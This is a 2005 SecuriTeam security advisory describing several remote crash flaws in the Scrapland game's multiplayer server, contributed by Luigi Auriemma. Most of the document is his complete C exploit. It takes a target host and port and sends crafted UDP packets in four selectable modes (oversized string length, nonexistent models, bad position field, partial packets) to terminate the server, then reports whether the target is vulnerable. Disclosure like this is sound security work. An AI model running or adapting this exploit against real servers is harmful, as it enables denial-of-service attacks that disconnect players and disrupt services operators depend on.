[NT] Server Termination in Scrapland
From: SecuriTeam (support_at_securiteam.com)
Date: 03/10/05
- Previous message: SecuriTeam: "[NT] Chaser Nickname Buffer Overflow"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 10 Mar 2005 16:52:35 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Server Termination in Scrapland
------------------------------------------------------------------------
SUMMARY
" <http://www.enlight.com/scrapland/> SCRAPLAND is a third person
action-adventure game set in a stunningly beautiful and futuristic world
occupied by an amazing array of robotic characters."
Multiple vulnerabilities in the Scrapland multiplayer server allows a
malicious attacker to terminate connection with other users.
DETAILS
Vulnerable Systems:
* Scrapland version 1.0 and prior
The main problem of the game is that the server terminates after any error
instead of simply showing the error message in the game console and
continuing its work. This situation allows an attacker to easily crash a
Scrapland game server in many ways, some of them are:
String size>SSize: the game uses 8 bits numbers to specify the size of the
text strings inside the packets. These 8 bits numbers are handled as
signed integers so any value bigger than 127 causes the server error.
Inexistent model: if the client uses a model (like engine, pilot or
player) not available on the server, this one will terminate saying that
the model specified by the client has not been found.
Proding newpos<=size: another type of error.
Access violation caused by the reception of two partial packets.
Note: If the server is full, is not possible to terminate it.
Exploit Code:
The code requires <http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>
winerr.h
/* by Luigi Auriemma - http://aluigi.altervista.org/poc/scrapboom.zip */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 28086
#define TIMEOUT 3
#define SEND(x,y) if(sendto(sd, x, y, 0, (struct sockaddr *)&peer,
sizeof(peer)) \
< 0) std_err();
#define RECV if(timeout(sd) < 0) { \
fputs("\nError: socket timeout, no reply
received\n\n", stdout); \
exit(1); \
} \
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err();
#define ADDSHORT(x) *(u_short *)p = x; \
p += 2;
#define ADDLONG(x) *(u_long *)p = x; \
p += 4;
#define ADDTEXT(x) *p++ = sizeof(x) - 1; \
memcpy(p, x, sizeof(x) - 1); \
p += sizeof(x) - 1;
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len;
u_short port = PORT;
u_char buff[BUFFSZ],
info[] =
"\x7f"
"\x01\x00"
"\x00\x07",
pck[] =
"\x7f"
"\x00\x00"
"\x00\x00"
"\x00",
*p;
setbuf(stdout, NULL);
fputs("\n"
"Scrapland <= 1.0 server termination "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%d)]\n"
"\n"
"Attack:\n"
" 1 = big text string (size>SSize)\n"
" 2 = unexistent models (you can test this bug also modifying
scrap.cfg)\n"
" 3 = newpos<=size\n"
" 4 = partial packet after small packet (1 or 2 bytes)\n"
"\n", argv[0], port);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
fputs("- request informations\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
SEND(info, sizeof(info) - 1);
RECV;
printf("\n Server name %s\n", buff + 10);
printf(" Players %d / %d\n\n",
*(u_short *)(buff + 8), *(u_short *)(buff + 6));
if(*(u_short *)(buff + 8) == *(u_short *)(buff + 6)) {
fputs("- Alert: the server is full so this attack will fail\n\n",
stdout);
}
fputs("- send BOOM packet\n", stdout);
switch(atoi(argv[1])) {
case 1: {
pck[5] = 0xff; // major than 0x7f
*(u_short *)(pck + 1) = sizeof(pck) - 4;
SEND(pck, sizeof(pck) - 1);
} break;
case 2: {
p = buff;
*p++ = 0x7f;
p += 2; // data size
ADDSHORT(0); // don't know, pck related?
ADDTEXT("Unnamed Player"); // PlayerName
ADDTEXT("unexistent"); // PlayerModel
ADDSHORT(65); // PlayerMaxLife
ADDTEXT("unexistent"); // PilotModel
ADDTEXT("unexistent"); // Motor0Model
ADDTEXT("unexistent"); // Motor1Model
ADDTEXT("unexistent"); // Motor2Model
ADDTEXT("unexistent"); // Motor3Model
ADDTEXT("1,3,0,0,1,0,1"); // WeaponBayList
ADDLONG(0); // PlayerTeamID
*(u_short *)(buff + 1) = (p - buff) - 3;
SEND(buff, p - buff);
} break;
case 3: {
*(u_short *)(pck + 1) = 1; // major than 0
SEND(pck, 5);
} break;
case 4: {
SEND(pck, 1);
sleep(ONESEC);
*(u_short *)(pck + 1) = 0;
SEND(pck, 3);
} break;
default: {
fputs("\nError: wrong attack selected\n\n", stdout);
exit(1);
}
}
fputs("- check server:\n", stdout);
SEND(info, sizeof(info) - 1);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
//EoF
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@autistici.org> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/scrapboom-adv.txt>
http://aluigi.altervista.org/adv/scrapboom-adv.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NT] Chaser Nickname Buffer Overflow"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|